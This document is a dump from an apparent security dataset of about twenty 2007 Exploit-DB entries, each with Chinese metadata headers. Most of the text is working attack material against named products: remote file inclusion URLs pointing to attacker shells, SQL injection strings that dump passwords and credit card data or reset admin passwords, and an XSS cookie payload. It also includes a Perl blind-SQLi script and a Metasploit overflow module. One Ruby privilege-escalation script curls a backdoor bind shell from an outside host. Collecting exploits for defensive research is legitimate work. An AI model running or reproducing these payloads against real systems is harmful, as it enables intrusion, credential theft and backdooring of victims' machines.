QLWD/code_shield huggingface dataset:
标题: AllMyLinks 0.5.0 - 'index.php' Remote File Inclusion EDB-ID: 3096 CVE: 2007-0171 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-07 漏洞利用脚本: /###################################################################\
#                          AllMyLinks 0.5.0                         #
#    =========================================================      #
#    Published :  2007-01-07                                        #
#    Remote: Yes                                                    #
#    Site: http://download.php-resource.net/AllMyLinks/AllMyLinks0.5.0.zip
#####################################################################
#    Author: GolD_M                                                 #
#    Contact: HackEr_@W.CN                                          #
#    =====================================================          #
#    ThanX = All My Friends & ABDULLAH00 & MilW0rm.Com              #
#    SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                #
\###################################################################/
In :
/index.php
Line:
/77
Vulnerable Code:
/include("$AML_opensite");
3xpl!T
/index.php?AML_opensite=[Ev!L_Scr!pT]
/#######################################\
#         Tryag.Com & Dwrat.Com         #
\#######################################/

# milw0rm.com [2007-01-07] URL: https://www.exploit-db.com/exploits/3096
标题: uniForum 4 - 'wbsearch.aspx' SQL Injection EDB-ID: 3106 CVE: 2007-0226 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: *******************************************************************************
# Title   :  uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  ...
# Vendor  :  http://uniforum.biz/
# $$      :  $99

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//wbsearch.aspx (POST Method) [SQL]

Example:

//Fin the ->wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'--

Login Admin:http://www.xxx.com/[path]/wbadmlog.aspx
Username: Administrator
Password: 000245

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-09] URL: https://www.exploit-db.com/exploits/3106
标题: Magic Photo Storage Website - '_config[site_path]' File Inclusion EDB-ID: 3100 CVE: 2007-0181 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-08 漏洞利用脚本: ########################################################################
# magic photo storage website -- Remote File Inclusion
# Vendor         : http://www.scriptaty.net/magic-photo-storage-website.html
# Demo Site      : http://www.turnkeydemos.info/demo/picstorage/
# Found By       : k1tk4t - k1tk4t[4t]newhack.org
# Location       : Indonesia   --  #newhack[dot]org @irc.dal.net
########################################################################
file;
common_function.php

bug;
require_once $_config['site_path'] . '/class/session.class.php';
require_once $_config['site_path'] . '/class/validator.class.php';
require_once $_config['site_path'] . '/include/message.php';
########################################################################
exploit;
http://localhost/include/common_function.php?_config[site_path]=http://shell
########################################################################
Dork;
allinurl:catalog_login.php
########################################################################
Thanks;
str0ke
xoron [www.xoron.biz]
[mR]opt1lc,VaL,y3dips,lirva32,the_day,K-159
evilcode,illibero,NoGe,nyubi,x-ace,ghoz,
home_edition2001,matdhule,iFX,fusion
and for all(friend's&enemy)
@irc.dal.net
#newhack[dot]org [all member&staff]
#e-c-h-o [all member echo community]
#asiahacker [all member asiahacker community]
#nyubicrew [all member solpotcrew community] <-- at irc.komp-uter.org

# milw0rm.com [2007-01-08] URL: https://www.exploit-db.com/exploits/3100
标题: Application Enhancer (APE) 2.0.2 - Local Privilege Escalation EDB-ID: 3102 CVE: 2007-0162 类型: LOCAL 平台: OSX 发布日期: 2007-01-08 漏洞利用脚本: # !/usr/bin/ruby
# Exploit Of The Apes: A practical pwnage for Application (UN)Enhancer aka APU
# (c) 2006 LMH <lmh [at] info-pull.com> and Johnny Pwnerseed.
#
# This goes dedicated to #macdev. For the childish flaming and great brain lag.
#
# Lesson: Don't talk about stuff you have NFC about. And don't insult
# people. Once you do it, and get pwned, total lulz ensues ;o(
#
# MD5 (ApplicationEnhancer) = cf9bf1fa74f8298f09aedce38c72a7da
# at offset 27512   0x807d0014      ->  0x38600000
# at offset 115586  0x8b4614890424  ->  0x31c090890424
# 

require 'fileutils'

# Define offsets to opcodes to be patched
PATCH_INSTRUCTIONS =  [
                        [ 27512,  "\x38\x60\x00\x00"         ],
                        [ 115586, "\x31\xc0\x90\x89\x04\x24" ]
                      ]

BACKDOO_URL = "http://projects.info-pull.com/moab/bug-files/sample-back" # must be fat binary, sample bind shell
PATH_TO_APE = "/Library/Frameworks/ApplicationEnhancer.framework"
PATH_TO_APU = "/Library/Frameworks/ApplicationUnenhancer.framework"

path_to_bozo  = (ARGV[0] || File.join(PATH_TO_APE,"Versions/Current/ApplicationEnhancer"))

puts "++ Starting: #{PATH_TO_APE}"
puts "++ Back-up:  #{PATH_TO_APU}"
# Move the original framework to back-up, copy contents back, set permissions.
# To repair:
# rm -rf /Library/Frameworks/ApplicationEnhancer.framework
# mv /Library/Frameworks/ApplicationUnenhancer.framework \
# /Library/Frameworks/ApplicationEnhancer.framework
if File.exists?(PATH_TO_APE)
  unless File.exists?(PATH_TO_APU)
    FileUtils.mv(PATH_TO_APE, PATH_TO_APU)
    FileUtils.cp_r(PATH_TO_APU, PATH_TO_APE)
    system "chmod u+w #{File.join(PATH_TO_APE, "Versions/A/ApplicationEnhancer")}"
  end
end

# Patching poor Apu (we could just replace the binary, but this is cooler as the
# guys at Unsanity, LLC think they can dropriv and forget all about flawed code...).
bozo    = File.read(path_to_bozo)

puts "++ Patch: #{path_to_bozo}"
PATCH_INSTRUCTIONS.each do |patch|
  offset  = patch[0] # start offset
  bindata = patch[1] # patch bytes
  bcount  = 0

  puts "++ Patching stage: offset=#{offset} patch size=#{bindata.size}"
  bindata.split(//).each do |patch_byte|
    target_offset = offset + bcount
    printf "++ Patching byte at %x\n", target_offset
    bozo[target_offset] = patch_byte
    bcount += 1
  end
end

puts "++ Binary pwnage done. Writing patched data..."
u_bozo = File.new(File.join(PATH_TO_APE, "/Versions/A/ApplicationEnhancer"), "w")
u_bozo.write(bozo)
u_bozo.close
puts "++ Done (#{bozo.size} bytes). Planting backdoor aped binary..."

aped_path = File.join(PATH_TO_APE, "Resources/aped")
system "chmod a+rxw #{aped_path}" # let everyone backdoor it afterwards, be social and share!
system "curl #{BACKDOO_URL} -o #{aped_path}"
system "chmod a+x #{aped_path}"

puts "++ Finished."

# milw0rm.com [2007-01-08] URL: https://www.exploit-db.com/exploits/3102
标题: NaviCOPA Web Server 2.01 - 'GET' Remote Buffer Overflow (Metasploit) EDB-ID: 3092 CVE: 2006-5112 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-07 漏洞利用脚本: ## 
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::navicopa_get_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info =
  {
 'Name'  => 'Navicopa 2.01 Buffer Overflow',
 'Version'  => '$Revision: 0.1 $',
 'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32' ],
 'Priv'  => 1,

 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 80],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
   },

 'Payload' =>
   {
  'Space'     => 400,
  'MinNops' => 16,
  'BadChars'  => "\x00\x20\x0a\x0d\x2f\x25\x3f",
  'Keys'      => ['+ws2ord'],
   },
   

 'Description'  => Pex::Text::Freeform(qq{
This module exploits a classical stack overflow in Navicopa Web Server 2.01 version  
Credit to h07 for discovered this vulnerability.
This is a port to the original h07 c code.  
}),

 'Refs'  =>
   [
   ['BID',   20250],
     ],

 'Targets' =>
   [
  ['Windows 2k/XP for all service pack English',228, 0x1002c46f ], #  push esp,ret in IV320009.dll
  ['Windows 2k/XP for all service pack Italian',227, 0x1002c46f ], #  push esp,ret in IV320009.dll

   ],

 'Keys' => ['navicopa'],
 'DisclosureDate' => 'Sep 28 2006',


  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

 my $target = $self->Targets->[$target_idx];


 my $pattern = $self->MakeNops($target->[1]);
 $pattern .= pack('V', $target->[2]);
 $pattern .= $self->MakeNops(32);
 $pattern .= $shellcode;

 my $request = "GET " . $pattern ." HTTP/1.1\r\n\r\n";

 $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using push esp ret at 0x%.8x...", $target->[2]));

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );

 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 $s->Send($request);
 sleep(3);
 $s->Recv(-1, 10);
 $s->Close();
 return;
}

# milw0rm.com [2007-01-07] URL: https://www.exploit-db.com/exploits/3092
标题: AllMyGuests 0.3.0 - 'AMG_serverpath' Remote File Inclusion EDB-ID: 3093 CVE: 2007-0172 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-07 漏洞利用脚本: AllMyGuests 3.0 Remote File Inclusion Vulnerability

#Software: AllMyGuests

#Version: 3.0

#Download: http://download.php-resource.net/AllMyGuests/AllMyGuests0.3.0.zip

#Found By: beks

#Bug In:

/include/submit.inc.php
/admin/index.php
/include/cm_submit.inc.php
/comments.php
/index.php
/signin.php

#Risk: Medium

http://[target]/[AllMyGuests_Path]/comments.php?AMG_serverpath=[evil_script]
http://[target]/[AllMyGuests_Path]/signin.php?sent=1&AMG_serverpath=[evil_script]

# milw0rm.com [2007-01-07] URL: https://www.exploit-db.com/exploits/3093
标题: AllMyVisitors 0.4.0 - 'index.php' Remote File Inclusion EDB-ID: 3097 CVE: 2007-0170 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-07 漏洞利用脚本: AllMyVisitors 0.4.0 File Inclusion Vulnerability



Affected Software: AllMyVisitors 0.4.0

Download: http://www.php-resource.net//modules/AllMyLinks//action/gotolink.php?AML_linkid=11

Vulnerable Code in index.php

Bugfounder: bd0rk

[+]Exploit: http://[target]/[all_my_visitors_path]/index.php?AMV_openconfig=1&AMV_serverpath=http://[Shell]

# milw0rm.com [2007-01-07] URL: https://www.exploit-db.com/exploits/3097
标题: OmniWeb 5.5.1 - JavaScript alert() Remote Format String (PoC) EDB-ID: 3098 CVE: 2007-0148 类型: DOS 平台: OSX 发布日期: 2007-01-07 漏洞利用脚本: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
 "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
 <head>
  <title>MOAB-07-01-2007</title>
  <script>
   /* LMH */
   function boom() {
    var str = 'A';
    while (str.length <= 32) str+=str;
    str = str + '%n%n%n%n%n%n';
    alert(str);
   }
  </script>
 </head>
 <body>
  <input type="button" onclick="boom();" value="Test MOAB-07-01-2007" />
 </body>

</html>

# milw0rm.com [2007-01-07] URL: https://www.exploit-db.com/exploits/3098
标题: NUNE News Script 2.0pre2 - Multiple Remote File Inclusions EDB-ID: 3090 CVE: 2007-0143 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-06 漏洞利用脚本: -----------------------------------------------

NUNE News Script (custom_admin_path) Remote File Include Vulnerablity

-----------------------------------------------

Author: xoron

-----------------------------------------------

Code:

if (isset($custom_admin_path))
    $special_admin_path = $custom_admin_path;

else
    $special_admin_path = "news/admin";

require("$special_admin_path/config/nune.conf.php");

-----------------------------------------------

3xplo!t:

www.target.com/[script]/index.php?custom_admin_path=http://evilscript?
www.target.com/[script]/archives.php?custom_admin_path=http://evilscript?

-----------------------------------------------

download: http://download.sourceforge.net/nune/nune-2.0pre2.tar.gz

-----------------------------------------------

Greetz: str0ke, kacper, GODAttach

nukedx'e elveda, kendine iyi bak dostum..!

-----------------------------------------------

# milw0rm.com [2007-01-06] URL: https://www.exploit-db.com/exploits/3090
标题: Quote&Ordering System 1.0 - 'ordernum' Multiple Vulnerabilities EDB-ID: 3089 CVE: 2007-0144 2006-6911 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-05 漏洞利用脚本: *******************************************************************************
# Title   :  QUOTE&ORDERING SYSTEM 1.0 (ordernum) Multiple Vulnerabilities
# Author  :  ajann
# Contact :  :(
# S.Page  :  ...
# $$      :  $250.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

Register & Login Before Injection..


http://[target]/[path]//search.asp?ordernum=[SQL]

Example:

//search.asp?ordernum=1+union+select+cemail,0,0,cpassword,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+tblcustomer&designname=&date=&statusid=statusid%3C%3E0&btnser=Search+Now

[[/SQL]]

[[XSS]]]---------------------------------------------------------

Register & Login Before Injection..


http://[target]/[path]//search.asp?ordernum=[XSS]

Example:

//search.asp?ordernum=%3Cscript%3EJavaScript%3Aalert%28document.cookie%29%3B%3C%2Fscript%3E&designname=&date=&statusid=statusid%3C%3E0&btnser=Search+Now

[[/XSS]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-05] URL: https://www.exploit-db.com/exploits/3089
标题: DigiRez 3.4 - 'book_id' SQL Injection EDB-ID: 3081 CVE: 2007-0128 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-04 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: DigiRez <= V3.4 (book_id) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.digiappz.com
#[$$         : .269
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   DigiRez <= V3.4 (book_id) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/info_book.asp?book_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,0,0,member_login,0,0,0,0,member_login,0,0,0,0%20from%20members";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /\&nbsp\;(.*?)<\/a>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /\"mailto:0\">(.*?)&nbsp/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-01-04] URL: https://www.exploit-db.com/exploits/3081
标题: iG Calendar 1.0 - 'user.php?id' SQL Injection EDB-ID: 3082 CVE: 2007-0130 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-05 漏洞利用脚本: SQL Injection in ig-Calendar.  This works regardless of magic_quotes_gpc!
Dumps mysql login informaion:
http://127.0.0.1/ig-calendar/user.php?id=999%20union%20select%201,User,Password,Host,File_priv,0%20from%20mysql.user
./user.php line 52:
$query = 'SELECT * FROM users WHERE id='.$id;
Should have used quote marks.

Vendor's page:http://www.igeneric.co.uk
download: http://www.igeneric.co.uk/files/ig-calendar-1.0.zip

By Michael Brooks.  

# milw0rm.com [2007-01-05] URL: https://www.exploit-db.com/exploits/3082
标题: Adobe Acrobat Reader Plugin 7.0.x - 'acroreader' Cross-Site Scripting EDB-ID: 3084 CVE: 2007-0046 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-05 漏洞利用脚本: # Stefano Di Paola
# http://www.wisec.it/

From Secunia:
Input passed to a hosted PDF file is not properly sanitised by the browser plug-in
before being returned to users. This can be exploited to execute arbitrary script code in
a user's browser session in context of an affected site.

Example:
- http://[host]/[filename].pdf#[some text]=javascript:[code]

# milw0rm.com [2007-01-05] URL: https://www.exploit-db.com/exploits/3084
标题: ig shop 1.0 - Code Execution / SQL Injection EDB-ID: 3083 CVE: 2007-0134 2007-0133 2007-0132 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-05 漏洞利用脚本: "If eval is the answer,  then you are asking the wrong question."
--Unknowen

ig-shop suffers from two eval's that can be controlled by an attacker:
http://127.0.0.1/ig_shop/cart.php?action=;phpinfo();//
./cart.php line 692:
eval ("cart_$action();");

http://127.0.0.1/ig_shop/page.php?action=;phpinfo();//
./page.php line 336:
eval ("page_$action();");

Dumps all credit card numbers:
http://127.0.0.1/ig_shop/cart.php?action=;$q=mysql_query(stripslashes($l));while($a=mysql_fetch_array($q)){print_r($a);}//&l=select%20*%20from%20orders
Some of these variables can be decoded using the unserlize()  funciton.

Dumps all logins:
http://127.0.0.1/ig_shop/cart.php?action=;$q=mysql_query(stripslashes($l));while($a=mysql_fetch_array($q)){print_r($a);}//&l=select%20*%20from%20users


sql injection works regardless of magic_quotes_gpc.
http://127.0.0.1/ig_shop/compare_product.php?id=1%20union%20select%201
./compare_product.php line 11:
$qry_txt="select type_id from catalog_product where product_id=".$HTTP_GET_VARS[id];
Should have used quote marks. 

vendor's page:http://www.igeneric.co.uk/

By Michael Brooks. 

# milw0rm.com [2007-01-05] URL: https://www.exploit-db.com/exploits/3083
标题: Aratix 0.2.2b11 - '/inc/init.inc.php' Remote File Inclusion EDB-ID: 3079 CVE: 2007-0135 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-04 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.aratix.de/
+ Affected Software .: Aratix <= 0.2.2 beta 11
+ Download ..........: http://download.xitara.net/aratix/aratix-0.2.2beta11.tar.gz
+ Description .......: "Aratix is the next generation of CMS and Groupware"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Aratix inc/init.inc.php does not initialize the $current_path variable before using it to
+ include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ inc/init.inc.php, line(s) 16-41:
+ -> 16: include $current_path . 'inc/session.inc.php';
+ -> 17: include $current_path . 'inc/pages.inc.php';
+ -> 18: include $current_path . 'inc/modules.inc.php';
+ -> 33: include $current_path . 'inc/functions.inc.php'; // Zusätzliche Funktionen einbinden
+ -> 41: include $current_path . 'extern/smarty/Smarty.class.php';
+
+ Proof Of Concept:
+ http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-04] URL: https://www.exploit-db.com/exploits/3079
标题: iLife iPhoto Photocast - XML Title Remote Format String (PoC) EDB-ID: 3080 CVE: 2007-0051 类型: DOS 平台: OSX 发布日期: 2007-01-04 漏洞利用脚本: #!/usr/bin/ruby
#
# (c) 2006 LMH <lmh [at] info-pull.com>
# bug by Kevin Finisterre <kf_lists [at] digitalmunition.com>
# proof of concept for MOAB-04-01-2007
# see http://projects.info-pull.com/moab/MOAB-04-01-2007.rb

require 'socket'

IPHOTO_FEED = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n" +
              "<rss version=\"2.0\" xmlns:aw=\"http://www.apple.com/ilife/wallpapers\">\r\n" +
              "<channel>\r\n" +
              "<title>" + ("A" * 256) + "%x.%n.%n.%n.%n.%n</title>\r\n" +
              "<item>\r\n" +
              "<title>In Gruber We Trust</title>\r\n" +
              "<aw:image>http://www.digitalmunition.com/digital_munitions_detonator.jpg\r\n" +
              "</aw:image>\r\n" +
              "</item>\r\n" +
              "</channel>\r\n" +
              "</rss>\r\n"

web_port    = (ARGV[0] || 80).to_i

puts "++ Starting fake HTTP server at port #{web_port}."
web_server  = TCPServer.new(nil, web_port)
while (session = web_server.accept)
  user_agent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0]
  session.print "HTTP/1.1 200/OK\r\nServer: Unabomber/1.0\r\n"
  
  # Check if remote user-agent is iPhoto.
  if user_agent.scan(/iPhoto/).size < 1
    puts "-- User connected (#{session.peeraddr[3]}) but not running iPhoto, sending bullshit."
    session.print "Content-type: text/plain\r\n\r\n"
    session.print "All your Aunt Sophia are belong to us."
  else
    puts "++ iPhoto #{user_agent.scan(/iPhoto\/(.+?) /)[0]} user connected (#{session.peeraddr[3]}), " +
         "sending payload (#{IPHOTO_FEED.size} bytes)."
    session.print "Content-type: text/xml\r\n\r\n"
    session.print IPHOTO_FEED
  end

  session.close
end

# milw0rm.com [2007-01-04] URL: https://www.exploit-db.com/exploits/3080
标题: E-Smart Cart 1.0 - 'Product_ID' SQL Injection EDB-ID: 3074 CVE: 2007-0092 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-03 漏洞利用脚本: *******************************************************************************
# Title   :  E-SMARTCART 1.0 (product_id) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  ...
# $$      :  $49.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//productdetail.asp?p=1&subcat_id=-1&category_id=-1&product_id=[SQL]

Example:

//productdetail.asp?p=1&subcat_id=-1&category_id=-1&product_id=-1%20union%20select%200,email,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users
//productdetail.asp?p=1&subcat_id=-1&category_id=-1&product_id=-1%20union%20select%200,userpassword,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-03] URL: https://www.exploit-db.com/exploits/3074